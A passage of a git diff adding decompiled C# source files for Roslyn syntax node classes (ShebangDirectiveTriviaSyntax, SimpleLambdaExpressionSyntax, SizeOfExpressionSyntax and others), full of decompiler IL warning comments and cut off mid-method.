//IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || exclamationToken != ExclamationToken || endOfDirectiveToken != EndOfDirectiveToken) + { + ShebangDirectiveTriviaSyntax shebangDirectiveTriviaSyntax = SyntaxFactory.ShebangDirectiveTrivia(hashToken, exclamationToken, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return shebangDirectiveTriviaSyntax; + } + return shebangDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new ShebangDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, ExclamationToken, EndOfDirectiveToken, IsActive); + } + + public ShebangDirectiveTriviaSyntax WithExclamationToken(SyntaxToken exclamationToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, exclamationToken, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new ShebangDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ExclamationToken, endOfDirectiveToken, IsActive); + } + + public ShebangDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ExclamationToken, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SimpleBaseTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SimpleBaseTypeSyntax.cs new file mode 100644 index 0000000..29b4d94 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SimpleBaseTypeSyntax.cs @@ -0,0 +1,68 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SimpleBaseTypeSyntax : BaseTypeSyntax +{ + private TypeSyntax? type; + + public override TypeSyntax Type => ((SyntaxNode)this).GetRedAtZero(ref type); + + internal SimpleBaseTypeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref type); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSimpleBaseType(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSimpleBaseType(this); + } + + public SimpleBaseTypeSyntax Update(TypeSyntax type) + { + if (type != Type) + { + SimpleBaseTypeSyntax simpleBaseTypeSyntax = SyntaxFactory.SimpleBaseType(type); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return simpleBaseTypeSyntax; + } + return simpleBaseTypeSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override BaseTypeSyntax WithTypeCore(TypeSyntax type) + { + return WithType(type); + } + + public new SimpleBaseTypeSyntax WithType(TypeSyntax type) + { + return Update(type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SimpleLambdaExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SimpleLambdaExpressionSyntax.cs new file mode 100644 index 0000000..a60ec53 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SimpleLambdaExpressionSyntax.cs @@ -0,0 +1,310 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SimpleLambdaExpressionSyntax : LambdaExpressionSyntax +{ + private SyntaxNode? attributeLists; + + private ParameterSyntax? parameter; + + private BlockSyntax? block; + + private ExpressionSyntax? expressionBody; + + public override SyntaxToken AsyncKeyword => Modifiers.FirstOrDefault(SyntaxKind.AsyncKeyword); + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public ParameterSyntax Parameter => ((SyntaxNode)this).GetRed(ref parameter, 2); + + public override SyntaxToken ArrowToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SimpleLambdaExpressionSyntax)(object)((SyntaxNode)this).Green).arrowToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override BlockSyntax? Block => ((SyntaxNode)this).GetRed(ref block, 4); + + public override ExpressionSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 5); + + public new SimpleLambdaExpressionSyntax WithBody(CSharpSyntaxNode body) + { + if (!(body is BlockSyntax blockSyntax)) + { + return WithExpressionBody((ExpressionSyntax)body).WithBlock(null); + } + return WithBlock(blockSyntax).WithExpressionBody(null); + } + + public SimpleLambdaExpressionSyntax Update(SyntaxToken asyncKeyword, ParameterSyntax parameter, SyntaxToken arrowToken, CSharpSyntaxNode body) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (!(body is BlockSyntax blockSyntax)) + { + return Update(asyncKeyword, parameter, arrowToken, null, (ExpressionSyntax)body); + } + return Update(asyncKeyword, parameter, arrowToken, blockSyntax, null); + } + + internal override AnonymousFunctionExpressionSyntax WithAsyncKeywordCore(SyntaxToken asyncKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAsyncKeyword(asyncKeyword); + } + + public new SimpleLambdaExpressionSyntax WithAsyncKeyword(SyntaxToken asyncKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(asyncKeyword, Parameter, ArrowToken, Block, ExpressionBody); + } + + public SimpleLambdaExpressionSyntax Update(SyntaxToken asyncKeyword, ParameterSyntax parameter, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(UpdateAsyncKeyword(asyncKeyword), parameter, arrowToken, block, expressionBody); + } + + public SimpleLambdaExpressionSyntax Update(SyntaxTokenList modifiers, ParameterSyntax parameter, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, parameter, arrowToken, block, expressionBody); + } + + internal SimpleLambdaExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref parameter, 2), + 4 => ((SyntaxNode)this).GetRed(ref block, 4), + 5 => ((SyntaxNode)this).GetRed(ref expressionBody, 5), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => parameter, + 4 => block, + 5 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSimpleLambdaExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSimpleLambdaExpression(this); + } + + public SimpleLambdaExpressionSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, ParameterSyntax parameter, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || parameter != Parameter || arrowToken != ArrowToken || block != Block || expressionBody != ExpressionBody) + { + SimpleLambdaExpressionSyntax simpleLambdaExpressionSyntax = SyntaxFactory.SimpleLambdaExpression(attributeLists, modifiers, parameter, arrowToken, block, expressionBody); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return simpleLambdaExpressionSyntax; + } + return simpleLambdaExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override LambdaExpressionSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new SimpleLambdaExpressionSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Parameter, ArrowToken, Block, ExpressionBody); + } + + internal override AnonymousFunctionExpressionSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new SimpleLambdaExpressionSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Parameter, ArrowToken, Block, ExpressionBody); + } + + public SimpleLambdaExpressionSyntax WithParameter(ParameterSyntax parameter) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, parameter, ArrowToken, Block, ExpressionBody); + } + + internal override LambdaExpressionSyntax WithArrowTokenCore(SyntaxToken arrowToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithArrowToken(arrowToken); + } + + public new SimpleLambdaExpressionSyntax WithArrowToken(SyntaxToken arrowToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Parameter, arrowToken, Block, ExpressionBody); + } + + internal override AnonymousFunctionExpressionSyntax WithBlockCore(BlockSyntax? block) + { + return WithBlock(block); + } + + public new SimpleLambdaExpressionSyntax WithBlock(BlockSyntax? block) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Parameter, ArrowToken, block, ExpressionBody); + } + + internal override AnonymousFunctionExpressionSyntax WithExpressionBodyCore(ExpressionSyntax? expressionBody) + { + return WithExpressionBody(expressionBody); + } + + public new SimpleLambdaExpressionSyntax WithExpressionBody(ExpressionSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Parameter, ArrowToken, Block, expressionBody); + } + + internal override LambdaExpressionSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new SimpleLambdaExpressionSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override AnonymousFunctionExpressionSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new SimpleLambdaExpressionSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + public SimpleLambdaExpressionSyntax AddParameterAttributeLists(params AttributeListSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameter(Parameter.WithAttributeLists(Parameter.AttributeLists.AddRange((IEnumerable)items))); + } + + public SimpleLambdaExpressionSyntax AddParameterModifiers(params SyntaxToken[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + ParameterSyntax parameterSyntax = Parameter; + SyntaxTokenList modifiers = Parameter.Modifiers; + return WithParameter(parameterSyntax.WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items))); + } + + internal override AnonymousFunctionExpressionSyntax AddBlockAttributeListsCore(params AttributeListSyntax[] items) + { + return AddBlockAttributeLists(items); + } + + public new SimpleLambdaExpressionSyntax AddBlockAttributeLists(params AttributeListSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Block ?? SyntaxFactory.Block(); + return WithBlock(blockSyntax.WithAttributeLists(blockSyntax.AttributeLists.AddRange((IEnumerable)items))); + } + + internal override AnonymousFunctionExpressionSyntax AddBlockStatementsCore(params StatementSyntax[] items) + { + return AddBlockStatements(items); + } + + public new SimpleLambdaExpressionSyntax AddBlockStatements(params StatementSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Block ?? SyntaxFactory.Block(); + return WithBlock(blockSyntax.WithStatements(blockSyntax.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SimpleNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SimpleNameSyntax.cs new file mode 100644 index 0000000..e4f4137 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SimpleNameSyntax.cs @@ -0,0 +1,26 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class SimpleNameSyntax : NameSyntax +{ + public abstract SyntaxToken Identifier { get; } + + internal sealed override SimpleNameSyntax GetUnqualifiedName() + { + return this; + } + + internal SimpleNameSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public SimpleNameSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithIdentifierCore(identifier); + } + + internal abstract SimpleNameSyntax WithIdentifierCore(SyntaxToken identifier); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SingleVariableDesignationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SingleVariableDesignationSyntax.cs new file mode 100644 index 0000000..2fd0584 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SingleVariableDesignationSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SingleVariableDesignationSyntax : VariableDesignationSyntax +{ + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SingleVariableDesignationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).Position, 0); + + internal SingleVariableDesignationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSingleVariableDesignation(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSingleVariableDesignation(this); + } + + public SingleVariableDesignationSyntax Update(SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (identifier != Identifier) + { + SingleVariableDesignationSyntax singleVariableDesignationSyntax = SyntaxFactory.SingleVariableDesignation(identifier); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return singleVariableDesignationSyntax; + } + return singleVariableDesignationSyntax.WithAnnotations(annotations); + } + return this; + } + + public SingleVariableDesignationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(identifier); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SizeOfExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SizeOfExpressionSyntax.cs new file mode 100644 index 0000000..84d5e57 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SizeOfExpressionSyntax.cs @@ -0,0 +1,105 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SizeOfExpressionSyntax : ExpressionSyntax +{ + private TypeSyntax? type; + + public SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SizeOfExpressionSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SizeOfExpressionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 2); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SizeOfExpressionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal SizeOfExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref type, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSizeOfExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSizeOfExpression(this); + } + + public SizeOfExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword || openParenToken != OpenParenToken || type != Type || closeParenToken != CloseParenToken) + { + SizeOfExpressionSyntax sizeOfExpressionSyntax = SyntaxFactory.SizeOfExpression(keyword, openParenToken, type, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return sizeOfExpressionSyntax; + } + return sizeOfExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public SizeOfExpressionSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword, OpenParenToken, Type, CloseParenToken); + } + + public SizeOfExpressionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, openParenToken, Type, CloseParenToken); + } + + public SizeOfExpressionSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, type, CloseParenToken); + } + + public SizeOfExpressionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, Type, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SkippedTokensTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SkippedTokensTriviaSyntax.cs new file mode 100644 index 0000000..9e43899 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SkippedTokensTriviaSyntax.cs @@ -0,0 +1,81 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SkippedTokensTriviaSyntax : StructuredTriviaSyntax, ISkippedTokensTriviaSyntax +{ + public SyntaxTokenList Tokens + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(0); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).Position, 0); + } + } + + internal SkippedTokensTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSkippedTokensTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSkippedTokensTrivia(this); + } + + public SkippedTokensTriviaSyntax Update(SyntaxTokenList tokens) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (tokens != Tokens) + { + SkippedTokensTriviaSyntax skippedTokensTriviaSyntax = SyntaxFactory.SkippedTokensTrivia(tokens); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return skippedTokensTriviaSyntax; + } + return skippedTokensTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + public SkippedTokensTriviaSyntax WithTokens(SyntaxTokenList tokens) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(tokens); + } + + public SkippedTokensTriviaSyntax AddTokens(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList tokens = Tokens; + return WithTokens(((SyntaxTokenList)(ref tokens)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SlicePatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SlicePatternSyntax.cs new file mode 100644 index 0000000..13cbeba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SlicePatternSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SlicePatternSyntax : PatternSyntax +{ + private PatternSyntax? pattern; + + public SyntaxToken DotDotToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SlicePatternSyntax)(object)((SyntaxNode)this).Green).dotDotToken, ((SyntaxNode)this).Position, 0); + + public PatternSyntax? Pattern => ((SyntaxNode)this).GetRed(ref pattern, 1); + + internal SlicePatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index 